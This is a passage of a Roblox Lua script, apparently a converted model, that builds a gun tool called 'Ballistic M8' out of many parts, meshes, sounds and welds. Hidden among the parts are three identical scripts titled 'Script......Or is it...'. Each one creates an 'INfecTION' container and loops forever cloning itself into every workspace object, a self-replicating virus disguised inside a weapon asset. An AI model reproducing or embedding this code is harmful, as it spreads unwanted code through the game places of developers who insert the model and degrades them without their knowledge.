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- -- made by 1ndrew
- function sandbox(var,func)
- local env = getfenv(func)
- local newenv = setmetatable({},{
- __index = function(self,k)
- if k=="script" then
- return var
- else
- return env[k]
- end
- end,
- })
- setfenv(func,newenv)
- return func
- end
- cors = {}
- mas = Instance.new("Model",game:GetService("Lighting"))
- Tool0 = Instance.new("Tool")
- Script1 = Instance.new("Script")
- Part2 = Instance.new("Part")
- CylinderMesh3 = Instance.new("CylinderMesh")
- Part4 = Instance.new("Part")
- BlockMesh5 = Instance.new("BlockMesh")
- Part6 = Instance.new("Part")
- BlockMesh7 = Instance.new("BlockMesh")
- Part8 = Instance.new("Part")
- BlockMesh9 = Instance.new("BlockMesh")
- Sound10 = Instance.new("Sound")
- Script11 = Instance.new("Script")
- Sound12 = Instance.new("Sound")
- Script13 = Instance.new("Script")
- Part14 = Instance.new("Part")
- BlockMesh15 = Instance.new("BlockMesh")
- Part16 = Instance.new("Part")
- SpecialMesh17 = Instance.new("SpecialMesh")
- Part18 = Instance.new("Part")
- BlockMesh19 = Instance.new("BlockMesh")
- Part20 = Instance.new("Part")
- BlockMesh21 = Instance.new("BlockMesh")
- Part22 = Instance.new("Part")
- SpecialMesh23 = Instance.new("SpecialMesh")
- Part24 = Instance.new("Part")
- BlockMesh25 = Instance.new("BlockMesh")
- ManualWeld26 = Instance.new("ManualWeld")
- Part27 = Instance.new("Part")
- BlockMesh28 = Instance.new("BlockMesh")
- Part29 = Instance.new("Part")
- BlockMesh30 = Instance.new("BlockMesh")
- Part31 = Instance.new("Part")
- BlockMesh32 = Instance.new("BlockMesh")
- Part33 = Instance.new("Part")
- SpecialMesh34 = Instance.new("SpecialMesh")
- Part35 = Instance.new("Part")
- SpecialMesh36 = Instance.new("SpecialMesh")
- Part37 = Instance.new("Part")
- SpecialMesh38 = Instance.new("SpecialMesh")
- Part39 = Instance.new("Part")
- BlockMesh40 = Instance.new("BlockMesh")
- ManualWeld41 = Instance.new("ManualWeld")
- Part42 = Instance.new("Part")
- BlockMesh43 = Instance.new("BlockMesh")
- ManualWeld44 = Instance.new("ManualWeld")
- LocalScript45 = Instance.new("LocalScript")
- NumberValue46 = Instance.new("NumberValue")
- NumberValue47 = Instance.new("NumberValue")
- PointLight48 = Instance.new("PointLight")
- Smoke49 = Instance.new("Smoke")
- Smoke50 = Instance.new("Smoke")
- ScreenGui51 = Instance.new("ScreenGui")
- Frame52 = Instance.new("Frame")
- TextLabel53 = Instance.new("TextLabel")
- Frame54 = Instance.new("Frame")
- TextLabel55 = Instance.new("TextLabel")
- Frame56 = Instance.new("Frame")
- TextLabel57 = Instance.new("TextLabel")
- TextLabel58 = Instance.new("TextLabel")
- Part59 = Instance.new("Part")
- BlockMesh60 = Instance.new("BlockMesh")
- Part61 = Instance.new("Part")
- SpecialMesh62 = Instance.new("SpecialMesh")
- Part63 = Instance.new("Part")
- CylinderMesh64 = Instance.new("CylinderMesh")
- Part65 = Instance.new("Part")
- BlockMesh66 = Instance.new("BlockMesh")
- Part67 = Instance.new("Part")
- BlockMesh68 = Instance.new("BlockMesh")
- Part69 = Instance.new("Part")
- SpecialMesh70 = Instance.new("SpecialMesh")
- Part71 = Instance.new("Part")
- BlockMesh72 = Instance.new("BlockMesh")
- Part73 = Instance.new("Part")
- BlockMesh74 = Instance.new("BlockMesh")
- Part75 = Instance.new("Part")
- BlockMesh76 = Instance.new("BlockMesh")
- Part77 = Instance.new("Part")
- BlockMesh78 = Instance.new("BlockMesh")
- ManualWeld79 = Instance.new("ManualWeld")
- Part80 = Instance.new("Part")
- BlockMesh81 = Instance.new("BlockMesh")
- Part82 = Instance.new("Part")
- BlockMesh83 = Instance.new("BlockMesh")
- Part84 = Instance.new("Part")
- BlockMesh85 = Instance.new("BlockMesh")
- Part86 = Instance.new("Part")
- BlockMesh87 = Instance.new("BlockMesh")
- Part88 = Instance.new("Part")
- SpecialMesh89 = Instance.new("SpecialMesh")
- Part90 = Instance.new("Part")
- SpecialMesh91 = Instance.new("SpecialMesh")
- Part92 = Instance.new("Part")
- SpecialMesh93 = Instance.new("SpecialMesh")
- Part94 = Instance.new("Part")
- BlockMesh95 = Instance.new("BlockMesh")
- Part96 = Instance.new("Part")
- CylinderMesh97 = Instance.new("CylinderMesh")
- Part98 = Instance.new("Part")
- BlockMesh99 = Instance.new("BlockMesh")
- Part100 = Instance.new("Part")
- SpecialMesh101 = Instance.new("SpecialMesh")
- Part102 = Instance.new("Part")
- BlockMesh103 = Instance.new("BlockMesh")
- Part104 = Instance.new("Part")
- BlockMesh105 = Instance.new("BlockMesh")
- Part106 = Instance.new("Part")
- SpecialMesh107 = Instance.new("SpecialMesh")
- Part108 = Instance.new("Part")
- BlockMesh109 = Instance.new("BlockMesh")
- Part110 = Instance.new("Part")
- BlockMesh111 = Instance.new("BlockMesh")
- Part112 = Instance.new("Part")
- BlockMesh113 = Instance.new("BlockMesh")
- Part114 = Instance.new("Part")
- BlockMesh115 = Instance.new("BlockMesh")
- Part116 = Instance.new("Part")
- BlockMesh117 = Instance.new("BlockMesh")
- Part118 = Instance.new("Part")
- BlockMesh119 = Instance.new("BlockMesh")
- Part120 = Instance.new("Part")
- BlockMesh121 = Instance.new("BlockMesh")
- Part122 = Instance.new("Part")
- BlockMesh123 = Instance.new("BlockMesh")
- Part124 = Instance.new("Part")
- BlockMesh125 = Instance.new("BlockMesh")
- Part126 = Instance.new("Part")
- SpecialMesh127 = Instance.new("SpecialMesh")
- Part128 = Instance.new("Part")
- BlockMesh129 = Instance.new("BlockMesh")
- Part130 = Instance.new("Part")
- BlockMesh131 = Instance.new("BlockMesh")
- Part132 = Instance.new("Part")
- BlockMesh133 = Instance.new("BlockMesh")
- Part134 = Instance.new("Part")
- BlockMesh135 = Instance.new("BlockMesh")
- Part136 = Instance.new("Part")
- SpecialMesh137 = Instance.new("SpecialMesh")
- Part138 = Instance.new("Part")
- BlockMesh139 = Instance.new("BlockMesh")
- Part140 = Instance.new("Part")
- BlockMesh141 = Instance.new("BlockMesh")
- Part142 = Instance.new("Part")
- SpecialMesh143 = Instance.new("SpecialMesh")
- Part144 = Instance.new("Part")
- BlockMesh145 = Instance.new("BlockMesh")
- Part146 = Instance.new("Part")
- SpecialMesh147 = Instance.new("SpecialMesh")
- Part148 = Instance.new("Part")
- BlockMesh149 = Instance.new("BlockMesh")
- Part150 = Instance.new("Part")
- BlockMesh151 = Instance.new("BlockMesh")
- Part152 = Instance.new("Part")
- SpecialMesh153 = Instance.new("SpecialMesh")
- Part154 = Instance.new("Part")
- SpecialMesh155 = Instance.new("SpecialMesh")
- Part156 = Instance.new("Part")
- BlockMesh157 = Instance.new("BlockMesh")
- Part158 = Instance.new("Part")
- BlockMesh159 = Instance.new("BlockMesh")
- ManualWeld160 = Instance.new("ManualWeld")
- Part161 = Instance.new("Part")
- BlockMesh162 = Instance.new("BlockMesh")
- Part163 = Instance.new("Part")
- SpecialMesh164 = Instance.new("SpecialMesh")
- Part165 = Instance.new("Part")
- SpecialMesh166 = Instance.new("SpecialMesh")
- ManualWeld167 = Instance.new("ManualWeld")
- Part168 = Instance.new("Part")
- BlockMesh169 = Instance.new("BlockMesh")
- Part170 = Instance.new("Part")
- BlockMesh171 = Instance.new("BlockMesh")
- Part172 = Instance.new("Part")
- SpecialMesh173 = Instance.new("SpecialMesh")
- Part174 = Instance.new("Part")
- SpecialMesh175 = Instance.new("SpecialMesh")
- Part176 = Instance.new("Part")
- SpecialMesh177 = Instance.new("SpecialMesh")
- Part178 = Instance.new("Part")
- SpecialMesh179 = Instance.new("SpecialMesh")
- Part180 = Instance.new("Part")
- SpecialMesh181 = Instance.new("SpecialMesh")
- Part182 = Instance.new("Part")
- CylinderMesh183 = Instance.new("CylinderMesh")
- Part184 = Instance.new("Part")
- SpecialMesh185 = Instance.new("SpecialMesh")
- Part186 = Instance.new("Part")
- Decal187 = Instance.new("Decal")
- Decal188 = Instance.new("Decal")
- Decal189 = Instance.new("Decal")
- Decal190 = Instance.new("Decal")
- Decal191 = Instance.new("Decal")
- Decal192 = Instance.new("Decal")
- Decal193 = Instance.new("Decal")
- CylinderMesh194 = Instance.new("CylinderMesh")
- Part195 = Instance.new("Part")
- SpecialMesh196 = Instance.new("SpecialMesh")
- Part197 = Instance.new("Part")
- CylinderMesh198 = Instance.new("CylinderMesh")
- Part199 = Instance.new("Part")
- BlockMesh200 = Instance.new("BlockMesh")
- Part201 = Instance.new("Part")
- SpecialMesh202 = Instance.new("SpecialMesh")
- Part203 = Instance.new("Part")
- BlockMesh204 = Instance.new("BlockMesh")
- Part205 = Instance.new("Part")
- BlockMesh206 = Instance.new("BlockMesh")
- Part207 = Instance.new("Part")
- BlockMesh208 = Instance.new("BlockMesh")
- Part209 = Instance.new("Part")
- SpecialMesh210 = Instance.new("SpecialMesh")
- Part211 = Instance.new("Part")
- BlockMesh212 = Instance.new("BlockMesh")
- Part213 = Instance.new("Part")
- BlockMesh214 = Instance.new("BlockMesh")
- Part215 = Instance.new("Part")
- SpecialMesh216 = Instance.new("SpecialMesh")
- Part217 = Instance.new("Part")
- BlockMesh218 = Instance.new("BlockMesh")
- Part219 = Instance.new("Part")
- SpecialMesh220 = Instance.new("SpecialMesh")
- Part221 = Instance.new("Part")
- SpecialMesh222 = Instance.new("SpecialMesh")
- Part223 = Instance.new("Part")
- SpecialMesh224 = Instance.new("SpecialMesh")
- Part225 = Instance.new("Part")
- BlockMesh226 = Instance.new("BlockMesh")
- Part227 = Instance.new("Part")
- BlockMesh228 = Instance.new("BlockMesh")
- Part229 = Instance.new("Part")
- CylinderMesh230 = Instance.new("CylinderMesh")
- Part231 = Instance.new("Part")
- BlockMesh232 = Instance.new("BlockMesh")
- Part233 = Instance.new("Part")
- SpecialMesh234 = Instance.new("SpecialMesh")
- Part235 = Instance.new("Part")
- BlockMesh236 = Instance.new("BlockMesh")
- Part237 = Instance.new("Part")
- BlockMesh238 = Instance.new("BlockMesh")
- Tool0.Name = "Ballistic M8"
- Tool0.Parent = mas
- Script1.Name = "Script......Or is it..."
- Script1.Parent = mas
- table.insert(cors,sandbox(Script1,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- Part2.Name = "SmokePart"
- Part2.Parent = Tool0
- Part2.Material = Enum.Material.SmoothPlastic
- Part2.BrickColor = BrickColor.new("Dark stone grey")
- Part2.Rotation = Vector3.new(90, 0, -180)
- Part2.Anchored = true
- Part2.FormFactor = Enum.FormFactor.Custom
- Part2.Size = Vector3.new(0.200000003, 0.400001854, 0.200000003)
- Part2.CFrame = CFrame.new(34.5, 1.43857396, -8.79998779, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part2.BottomSurface = Enum.SurfaceType.Smooth
- Part2.TopSurface = Enum.SurfaceType.Smooth
- Part2.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part2.Position = Vector3.new(34.5, 1.43857396, -8.79998779)
- Part2.Orientation = Vector3.new(90, 180, 0)
- Part2.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh3.Parent = Part2
- CylinderMesh3.Scale = Vector3.new(0.888888836, 1, 0.888887703)
- CylinderMesh3.Scale = Vector3.new(0.888888836, 1, 0.888887703)
- Part4.Parent = Tool0
- Part4.Material = Enum.Material.SmoothPlastic
- Part4.BrickColor = BrickColor.new("Really black")
- Part4.Reflectance = 0.20000000298023
- Part4.Rotation = Vector3.new(-120, 0, 0)
- Part4.Anchored = true
- Part4.FormFactor = Enum.FormFactor.Custom
- Part4.Size = Vector3.new(0.200000003, 0.57777822, 0.200000003)
- Part4.CFrame = CFrame.new(34.5148926, 1.08896506, -10.3483858, 1, 8.92672887e-08, -3.11594022e-07, 3.14481952e-07, -0.5, 0.866025388, -7.84892933e-08, -0.866025388, -0.5)
- Part4.BottomSurface = Enum.SurfaceType.Smooth
- Part4.TopSurface = Enum.SurfaceType.Smooth
- Part4.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part4.Position = Vector3.new(34.5148926, 1.08896506, -10.3483858)
- Part4.Orientation = Vector3.new(-60, -180, 180)
- Part4.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- BlockMesh5.Parent = Part4
- BlockMesh5.Scale = Vector3.new(0.888889134, 1, 0.407406121)
- BlockMesh5.Scale = Vector3.new(0.888889134, 1, 0.407406121)
- Part6.Parent = Tool0
- Part6.Material = Enum.Material.SmoothPlastic
- Part6.BrickColor = BrickColor.new("Black")
- Part6.Rotation = Vector3.new(-180, 0, 0)
- Part6.Anchored = true
- Part6.FormFactor = Enum.FormFactor.Custom
- Part6.Size = Vector3.new(0.200000003, 0.200000003, 1.97037566)
- Part6.CFrame = CFrame.new(34.5, 1.41269505, -9.98516846, 1, 0, 0, 0, -1, 0, 0, 0, -1)
- Part6.BottomSurface = Enum.SurfaceType.Smooth
- Part6.TopSurface = Enum.SurfaceType.Smooth
- Part6.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part6.Position = Vector3.new(34.5, 1.41269505, -9.98516846)
- Part6.Orientation = Vector3.new(0, 180, 180)
- Part6.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh7.Parent = Part6
- BlockMesh7.Scale = Vector3.new(0.962963641, 0.925925493, 1)
- BlockMesh7.Scale = Vector3.new(0.962963641, 0.925925493, 1)
- Part8.Name = "Handle"
- Part8.Parent = Tool0
- Part8.Material = Enum.Material.SmoothPlastic
- Part8.BrickColor = BrickColor.new("Black")
- Part8.Reflectance = 0.20000000298023
- Part8.Transparency = 1
- Part8.Rotation = Vector3.new(-180, 0, -180)
- Part8.Anchored = true
- Part8.FormFactor = Enum.FormFactor.Custom
- Part8.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part8.CFrame = CFrame.new(34.3855019, 0.842628002, -11.4422598, -0.999999881, 8.35096756e-08, -1.49011612e-08, 8.35096685e-08, 1, 1.31434499e-08, 1.49011612e-08, 1.31435094e-08, -0.999999881)
- Part8.BottomSurface = Enum.SurfaceType.Smooth
- Part8.TopSurface = Enum.SurfaceType.Smooth
- Part8.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part8.Position = Vector3.new(34.3855019, 0.842628002, -11.4422598)
- Part8.Orientation = Vector3.new(0, -180, 0)
- Part8.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh9.Parent = Part8
- BlockMesh9.Scale = Vector3.new(0.962963223, 0.259266168, 0.407407582)
- BlockMesh9.Scale = Vector3.new(0.962963223, 0.259266168, 0.407407582)
- Sound10.Name = "Shoot"
- Sound10.Parent = Part8
- Sound10.SoundId = "rbxassetid://137983646"
- Sound10.Volume = 1
- Script11.Name = "Script......Or is it..."
- Script11.Parent = mas
- table.insert(cors,sandbox(Script11,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- Sound12.Name = "Reload"
- Sound12.Parent = Part8
- Sound12.SoundId = "rbxassetid://506273075"
- Sound12.Volume = 1
- Script13.Name = "Script......Or is it..."
- Script13.Parent = mas
- table.insert(cors,sandbox(Script13,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- Part14.Parent = Tool0
- Part14.Material = Enum.Material.SmoothPlastic
- Part14.BrickColor = BrickColor.new("Black")
- Part14.Reflectance = 0.20000000298023
- Part14.Rotation = Vector3.new(-45, 0, 0)
- Part14.Anchored = true
- Part14.FormFactor = Enum.FormFactor.Custom
- Part14.Size = Vector3.new(0.200000003, 0.200000003, 0.837036848)
- Part14.CFrame = CFrame.new(34.5, 1.04258001, -13.286438, 1, 2.54968313e-08, 7.88808592e-08, -7.3806163e-08, 0.707106769, 0.707106709, -3.77482152e-08, -0.707106709, 0.707106769)
- Part14.BottomSurface = Enum.SurfaceType.Smooth
- Part14.TopSurface = Enum.SurfaceType.Smooth
- Part14.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part14.Position = Vector3.new(34.5, 1.04258001, -13.286438)
- Part14.Orientation = Vector3.new(-45, 0, 0)
- Part14.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh15.Parent = Part14
- BlockMesh15.Scale = Vector3.new(0.888889134, 0.592592716, 1)
- BlockMesh15.Scale = Vector3.new(0.888889134, 0.592592716, 1)
- Part16.Parent = Tool0
- Part16.Material = Enum.Material.SmoothPlastic
- Part16.BrickColor = BrickColor.new("Black")
- Part16.Reflectance = 0.20000000298023
- Part16.Rotation = Vector3.new(90, 0, -180)
- Part16.Anchored = true
- Part16.FormFactor = Enum.FormFactor.Custom
- Part16.Size = Vector3.new(0.20740743, 0.34074083, 0.200000003)
- Part16.CFrame = CFrame.new(34.5, 1.58676803, -12.7407217, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part16.BottomSurface = Enum.SurfaceType.Smooth
- Part16.TopSurface = Enum.SurfaceType.Smooth
- Part16.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part16.Position = Vector3.new(34.5, 1.58676803, -12.7407217)
- Part16.Orientation = Vector3.new(90, 180, 0)
- Part16.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh17.Parent = Part16
- SpecialMesh17.Scale = Vector3.new(1, 1, 0.259259343)
- SpecialMesh17.MeshType = Enum.MeshType.Wedge
- SpecialMesh17.Scale = Vector3.new(1, 1, 0.259259343)
- Part18.Parent = Tool0
- Part18.Material = Enum.Material.SmoothPlastic
- Part18.BrickColor = BrickColor.new("Black")
- Part18.Reflectance = 0.20000000298023
- Part18.Anchored = true
- Part18.FormFactor = Enum.FormFactor.Custom
- Part18.Size = Vector3.new(0.207407534, 0.200000003, 0.777780473)
- Part18.CFrame = CFrame.new(34.5, 1.06821096, -11.8555298, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part18.BottomSurface = Enum.SurfaceType.Smooth
- Part18.TopSurface = Enum.SurfaceType.Smooth
- Part18.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part18.Position = Vector3.new(34.5, 1.06821096, -11.8555298)
- Part18.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh19.Parent = Part18
- BlockMesh19.Scale = Vector3.new(1, 0.592592061, 1)
- BlockMesh19.Scale = Vector3.new(1, 0.592592061, 1)
- Part20.Parent = Tool0
- Part20.Material = Enum.Material.SmoothPlastic
- Part20.BrickColor = BrickColor.new("Black")
- Part20.Reflectance = 0.20000000298023
- Part20.Rotation = Vector3.new(-90, 0, 0)
- Part20.Anchored = true
- Part20.FormFactor = Enum.FormFactor.Custom
- Part20.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part20.CFrame = CFrame.new(34.4963379, 1.67563403, -9.23333359, 1, -0, 0, 0, -1.49011612e-08, 0.999999762, 0, -0.999999762, -1.49011612e-08)
- Part20.BottomSurface = Enum.SurfaceType.Smooth
- Part20.TopSurface = Enum.SurfaceType.Smooth
- Part20.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part20.Position = Vector3.new(34.4963379, 1.67563403, -9.23333359)
- Part20.Orientation = Vector3.new(-89.9599991, 180, 180)
- Part20.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh21.Parent = Part20
- BlockMesh21.Scale = Vector3.new(0.481481433, 0.703703821, 0.370370358)
- BlockMesh21.Scale = Vector3.new(0.481481433, 0.703703821, 0.370370358)
- Part22.Parent = Tool0
- Part22.Material = Enum.Material.SmoothPlastic
- Part22.BrickColor = BrickColor.new("Black")
- Part22.Reflectance = 0.20000000298023
- Part22.Rotation = Vector3.new(90, 0, 0)
- Part22.Anchored = true
- Part22.FormFactor = Enum.FormFactor.Custom
- Part22.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part22.CFrame = CFrame.new(34.5, 1.50156295, -13.5444336, 1, 0, 0, 0, 0, -1, 0, 1, 0)
- Part22.BottomSurface = Enum.SurfaceType.Smooth
- Part22.TopSurface = Enum.SurfaceType.Smooth
- Part22.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part22.Position = Vector3.new(34.5, 1.50156295, -13.5444336)
- Part22.Orientation = Vector3.new(90, 0, 0)
- Part22.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh23.Parent = Part22
- SpecialMesh23.Scale = Vector3.new(0.888889551, 0.851851761, 0.962963104)
- SpecialMesh23.MeshType = Enum.MeshType.Wedge
- SpecialMesh23.Scale = Vector3.new(0.888889551, 0.851851761, 0.962963104)
- Part24.Parent = Tool0
- Part24.Material = Enum.Material.SmoothPlastic
- Part24.BrickColor = BrickColor.new("Black")
- Part24.Reflectance = 0.20000000298023
- Part24.Rotation = Vector3.new(-90, 0, 0)
- Part24.Anchored = true
- Part24.FormFactor = Enum.FormFactor.Custom
- Part24.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part24.CFrame = CFrame.new(34.4963379, 1.67563403, -12.0999756, 1, 0, -0, 0, 0, 1, 0, -1, 0)
- Part24.BottomSurface = Enum.SurfaceType.Smooth
- Part24.TopSurface = Enum.SurfaceType.Smooth
- Part24.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part24.Position = Vector3.new(34.4963379, 1.67563403, -12.0999756)
- Part24.Orientation = Vector3.new(-90, 0, 0)
- Part24.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh25.Parent = Part24
- BlockMesh25.Scale = Vector3.new(0.70370388, 0.0740740448, 0.370370358)
- BlockMesh25.Scale = Vector3.new(0.70370388, 0.0740740448, 0.370370358)
- ManualWeld26.Name = "Part-to-AimPart Strong Joint"
- ManualWeld26.Parent = Part24
- ManualWeld26.C0 = CFrame.new(-0.100000001, -0.100000001, 0.100000001, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- ManualWeld26.C1 = CFrame.new(0.0999984741, -0.0962898731, -0.1814785, -0.999999702, -4.8854865e-08, 5.96046448e-08, 5.96046448e-08, 1.34268845e-08, 0.999999702, -4.88548757e-08, 1, -5.71382657e-08)
- ManualWeld26.Part0 = Part24
- ManualWeld26.Part1 = Part237
- Part27.Parent = Tool0
- Part27.Material = Enum.Material.SmoothPlastic
- Part27.BrickColor = BrickColor.new("Black")
- Part27.Reflectance = 0.20000000298023
- Part27.Anchored = true
- Part27.FormFactor = Enum.FormFactor.Custom
- Part27.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part27.CFrame = CFrame.new(34.6148682, 1.38291204, -10.6295776, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part27.BottomSurface = Enum.SurfaceType.Smooth
- Part27.TopSurface = Enum.SurfaceType.Smooth
- Part27.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part27.Position = Vector3.new(34.6148682, 1.38291204, -10.6295776)
- Part27.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh28.Parent = Part27
- BlockMesh28.Scale = Vector3.new(0.111111112, 0.0370370373, 0.370390445)
- BlockMesh28.Scale = Vector3.new(0.111111112, 0.0370370373, 0.370390445)
- Part29.Parent = Tool0
- Part29.Material = Enum.Material.SmoothPlastic
- Part29.BrickColor = BrickColor.new("Black")
- Part29.Reflectance = 0.20000000298023
- Part29.Rotation = Vector3.new(-90, 0, 0)
- Part29.Anchored = true
- Part29.FormFactor = Enum.FormFactor.Custom
- Part29.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part29.CFrame = CFrame.new(34.4963379, 1.67563403, -9.35925198, 1, -0, 0, 0, -1.49011612e-08, 0.999999762, 0, -0.999999762, -1.49011612e-08)
- Part29.BottomSurface = Enum.SurfaceType.Smooth
- Part29.TopSurface = Enum.SurfaceType.Smooth
- Part29.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part29.Position = Vector3.new(34.4963379, 1.67563403, -9.35925198)
- Part29.Orientation = Vector3.new(-89.9599991, 180, 180)
- Part29.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh30.Parent = Part29
- BlockMesh30.Scale = Vector3.new(0.0370370373, 0.111111142, 0.370370358)
- BlockMesh30.Scale = Vector3.new(0.0370370373, 0.111111142, 0.370370358)
- Part31.Parent = Tool0
- Part31.Material = Enum.Material.SmoothPlastic
- Part31.BrickColor = BrickColor.new("Black")
- Part31.Reflectance = 0.20000000298023
- Part31.Rotation = Vector3.new(-180, 0, -180)
- Part31.Anchored = true
- Part31.FormFactor = Enum.FormFactor.Custom
- Part31.Size = Vector3.new(0.200000003, 0.748149335, 0.222222224)
- Part31.CFrame = CFrame.new(34.5, 0.634863973, -12.1332998, -1, 0, 0, 0, 1, 0, 0, 0, -1)
- Part31.BottomSurface = Enum.SurfaceType.Smooth
- Part31.TopSurface = Enum.SurfaceType.Smooth
- Part31.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part31.Position = Vector3.new(34.5, 0.634863973, -12.1332998)
- Part31.Orientation = Vector3.new(0, 180, 0)
- Part31.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh32.Parent = Part31
- BlockMesh32.Scale = Vector3.new(0.962963223, 1, 1)
- BlockMesh32.Scale = Vector3.new(0.962963223, 1, 1)
- Part33.Parent = Tool0
- Part33.Material = Enum.Material.SmoothPlastic
- Part33.BrickColor = BrickColor.new("Black")
- Part33.Reflectance = 0.20000000298023
- Part33.Rotation = Vector3.new(0, 0, 90)
- Part33.Anchored = true
- Part33.FormFactor = Enum.FormFactor.Custom
- Part33.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part33.CFrame = CFrame.new(34.5296631, 1.67563403, -9.31847382, 0, -1, 0, 0.999999762, -0, 1.49011612e-08, -1.49011612e-08, -0, 0.999999762)
- Part33.BottomSurface = Enum.SurfaceType.Smooth
- Part33.TopSurface = Enum.SurfaceType.Smooth
- Part33.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part33.Position = Vector3.new(34.5296631, 1.67563403, -9.31847382)
- Part33.Orientation = Vector3.new(0, 0, 90)
- Part33.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh34.Parent = Part33
- SpecialMesh34.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
- SpecialMesh34.MeshType = Enum.MeshType.Wedge
- SpecialMesh34.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
- Part35.Parent = Tool0
- Part35.Material = Enum.Material.SmoothPlastic
- Part35.BrickColor = BrickColor.new("Black")
- Part35.Rotation = Vector3.new(-180, -90, 0)
- Part35.Anchored = true
- Part35.FormFactor = Enum.FormFactor.Custom
- Part35.Size = Vector3.new(1.97037089, 0.200000003, 0.200000003)
- Part35.CFrame = CFrame.new(34.581543, 1.26816404, -9.98516846, 0, 0, -1, 0, -1, -0, -1, 0, -0)
- Part35.BottomSurface = Enum.SurfaceType.Smooth
- Part35.TopSurface = Enum.SurfaceType.Smooth
- Part35.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part35.Position = Vector3.new(34.581543, 1.26816404, -9.98516846)
- Part35.Orientation = Vector3.new(0, -90, 180)
- Part35.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh36.Parent = Part35
- SpecialMesh36.Scale = Vector3.new(1, 0.518519938, 0.148148149)
- SpecialMesh36.MeshType = Enum.MeshType.Wedge
- SpecialMesh36.Scale = Vector3.new(1, 0.518519938, 0.148148149)
- Part37.Parent = Tool0
- Part37.Material = Enum.Material.SmoothPlastic
- Part37.BrickColor = BrickColor.new("Black")
- Part37.Reflectance = 0.20000000298023
- Part37.Rotation = Vector3.new(180, 0, -180)
- Part37.Anchored = true
- Part37.FormFactor = Enum.FormFactor.Custom
- Part37.Size = Vector3.new(0.20740746, 0.200000003, 0.548148036)
- Part37.CFrame = CFrame.new(34.5, 1.34970605, -12.1184645, -1, 0, -4.37113883e-08, 0, 1, -0, 4.37113883e-08, 0, -1)
- Part37.BottomSurface = Enum.SurfaceType.Smooth
- Part37.TopSurface = Enum.SurfaceType.Smooth
- Part37.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part37.Position = Vector3.new(34.5, 1.34970605, -12.1184645)
- Part37.Orientation = Vector3.new(0, -180, 0)
- Part37.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh38.Parent = Part37
- SpecialMesh38.Scale = Vector3.new(1, 0.814816296, 1)
- SpecialMesh38.MeshType = Enum.MeshType.Wedge
- SpecialMesh38.Scale = Vector3.new(1, 0.814816296, 1)
- Part39.Parent = Tool0
